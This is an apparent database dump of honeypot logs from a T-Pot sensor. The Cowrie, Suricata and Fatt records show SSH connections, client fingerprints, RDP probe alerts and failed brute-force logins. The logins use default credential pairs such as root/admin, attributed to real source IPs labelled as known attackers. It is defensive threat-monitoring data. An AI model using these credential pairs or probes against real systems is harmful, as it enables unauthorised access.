30689	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:37:14.781073+03	2021-09-20 14:45:03.498141+03	{"_id": "Pgb-AnwBvYTbRNuE9D5A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.login.failed", "message": "login attempt [dax/dax] failed", "session": "e0fa30b333d2", "@version": "1", "password": "dax", "username": "dax", "timestamp": "2021-09-20T11:37:14.781073Z", "@timestamp": "2021-09-20T11:37:14.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30690	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:37:16.167507+03	2021-09-20 14:45:03.500141+03	{"_id": "QAb-AnwBvYTbRNuE-D4o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e0fa30b333d2", "@version": "1", "duration": 3.3882832527160645, "timestamp": "2021-09-20T11:37:16.167507Z", "@timestamp": "2021-09-20T11:37:16.167Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30691	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 14:37:29.477949+03	2021-09-20 14:45:03.501142+03	{"_id": "Vgb_AnwBvYTbRNuEKj73", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "700d0251d17d", "@version": "1", "timestamp": "2021-09-20T11:37:29.477949Z", "@timestamp": "2021-09-20T11:37:29.477Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30692	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:37:29.36508+03	2021-09-20 14:45:03.502142+03	{"_id": "VAb_AnwBvYTbRNuEKj73", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "a23095658473", "@version": "1", "duration": 1.4330503940582275, "timestamp": "2021-09-20T11:37:29.365080Z", "@timestamp": "2021-09-20T11:37:29.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
30693	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:37:50.407752+03	2021-09-20 14:45:03.504143+03	{"_id": "jwb_AnwBvYTbRNuEfT4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.20.123.149:56463 (192.168.176.2:22) [session: dc0d72034473]", "session": "dc0d72034473", "@version": "1", "protocol": "ssh", "src_port": 56463, "dest_port": 22, "timestamp": "2021-09-20T11:37:50.407752Z", "@timestamp": "2021-09-20T11:37:50.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
30694	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:37:50.121867+03	2021-09-20 14:45:03.505143+03	{"_id": "kAb_AnwBvYTbRNuEfT4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "8ab7b0a53d96", "@version": "1", "timestamp": "2021-09-20T11:37:50.121867Z", "@timestamp": "2021-09-20T11:37:50.121Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
30695	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:37:50.410597+03	2021-09-20 14:45:03.506171+03	{"_id": "kQb_AnwBvYTbRNuEfT4J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.32.72.5614352109.199.241.180'", "session": "dc0d72034473", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.32.72.5614352109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:37:50.410597Z", "@timestamp": "2021-09-20T11:37:50.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
30696	8.20.123.149	109.199.241.180	Suricata	2021-09-20 14:37:50.572441+03	2021-09-20 14:45:03.507174+03	{"_id": "kwb_AnwBvYTbRNuEfj6r", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.32.72.5614352109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.20.123.149", "dest_ip": "192.168.20.116", "flow_id": 1408141309689289, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 56463, "dest_port": 22, "timestamp": "2021-09-20T11:37:50.572441Z", "@timestamp": "2021-09-20T11:37:50.572Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
30697	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:37:50.412708+03	2021-09-20 14:45:03.508178+03	{"_id": "lAb_AnwBvYTbRNuEfz6_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.20.123.149", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 56463, "timestamp": "2021-09-20T11:37:50.412708", "@timestamp": "2021-09-20T11:37:50.412Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30698	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:37:50.573249+03	2021-09-20 14:45:03.510171+03	{"_id": "lwb_AnwBvYTbRNuEgD7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "dc0d72034473", "@version": "1", "timestamp": "2021-09-20T11:37:50.573249Z", "@timestamp": "2021-09-20T11:37:50.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	\N
30699	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:37:52.24678+03	2021-09-20 14:45:03.511171+03	{"_id": "mAb_AnwBvYTbRNuEhD7a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "dc0d72034473", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:37:52.246780Z", "@timestamp": "2021-09-20T11:37:52.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
30700	8.20.123.149	109.199.241.180	Fatt	2021-09-20 14:37:50.572441+03	2021-09-20 14:45:03.512174+03	{"_id": "lQb_AnwBvYTbRNuEfz6_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.20.123.149", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.32.72.5614352109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 56463, "dest_port": 22, "timestamp": "2021-09-20T11:37:50.572441", "@timestamp": "2021-09-20T11:37:50.572Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
30701	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:37:50.912935+03	2021-09-20 14:45:03.51417+03	{"_id": "lgb_AnwBvYTbRNuEgD7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.login.failed", "message": "login attempt [root/admin] failed", "session": "dc0d72034473", "@version": "1", "password": "admin", "username": "root", "timestamp": "2021-09-20T11:37:50.912935Z", "@timestamp": "2021-09-20T11:37:50.912Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
30702	190.201.223.33	109.199.241.180	Cowrie	2021-09-20 14:37:53.025128+03	2021-09-20 14:45:03.515142+03	{"_id": "nQb_AnwBvYTbRNuEiD7D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "190.201.223.33", "asn": 8048, "as_org": "CANTV Servicios, Venezuela", "latitude": 8.0, "location": {"lat": 8.0, "lon": -66.0}, "timezone": "America/Caracas", "longitude": -66.0, "country_name": "Venezuela", "country_code2": "VE", "country_code3": "VE", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "190.201.223.33", "eventid": "cowrie.login.failed", "message": "login attempt [testtest/testtest] failed", "session": "8ab7b0a53d96", "@version": "1", "password": "testtest", "username": "testtest", "timestamp": "2021-09-20T11:37:53.025128Z", "@timestamp": "2021-09-20T11:37:53.025Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
30703	8.20.123.149	109.199.241.180	Cowrie	2021-09-20 14:37:53.410601+03	2021-09-20 14:45:03.516143+03	{"_id": "ngb_AnwBvYTbRNuEiD7D", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.20.123.149", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.20.123.149", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "dc0d72034473", "@version": "1", "duration": 3.000333309173584, "timestamp": "2021-09-20T11:37:53.410601Z", "@timestamp": "2021-09-20T11:37:53.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
30704	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:37:53.179519+03	2021-09-20 14:45:03.517145+03	{"_id": "oAb_AnwBvYTbRNuEij5m", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:52.854352+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1615981219678544, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52149, "dest_port": 3389, "timestamp": "2021-09-20T11:37:53.179519Z", "@timestamp": "2021-09-20T11:37:53.179Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
30705	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:37:53.571301+03	2021-09-20 14:45:03.519141+03	{"_id": "pAb_AnwBvYTbRNuEij5n", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:37:52.854352+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1615981219678544, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52149, "dest_port": 3389, "timestamp": "2021-09-20T11:37:53.571301Z", "@timestamp": "2021-09-20T11:37:53.571Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
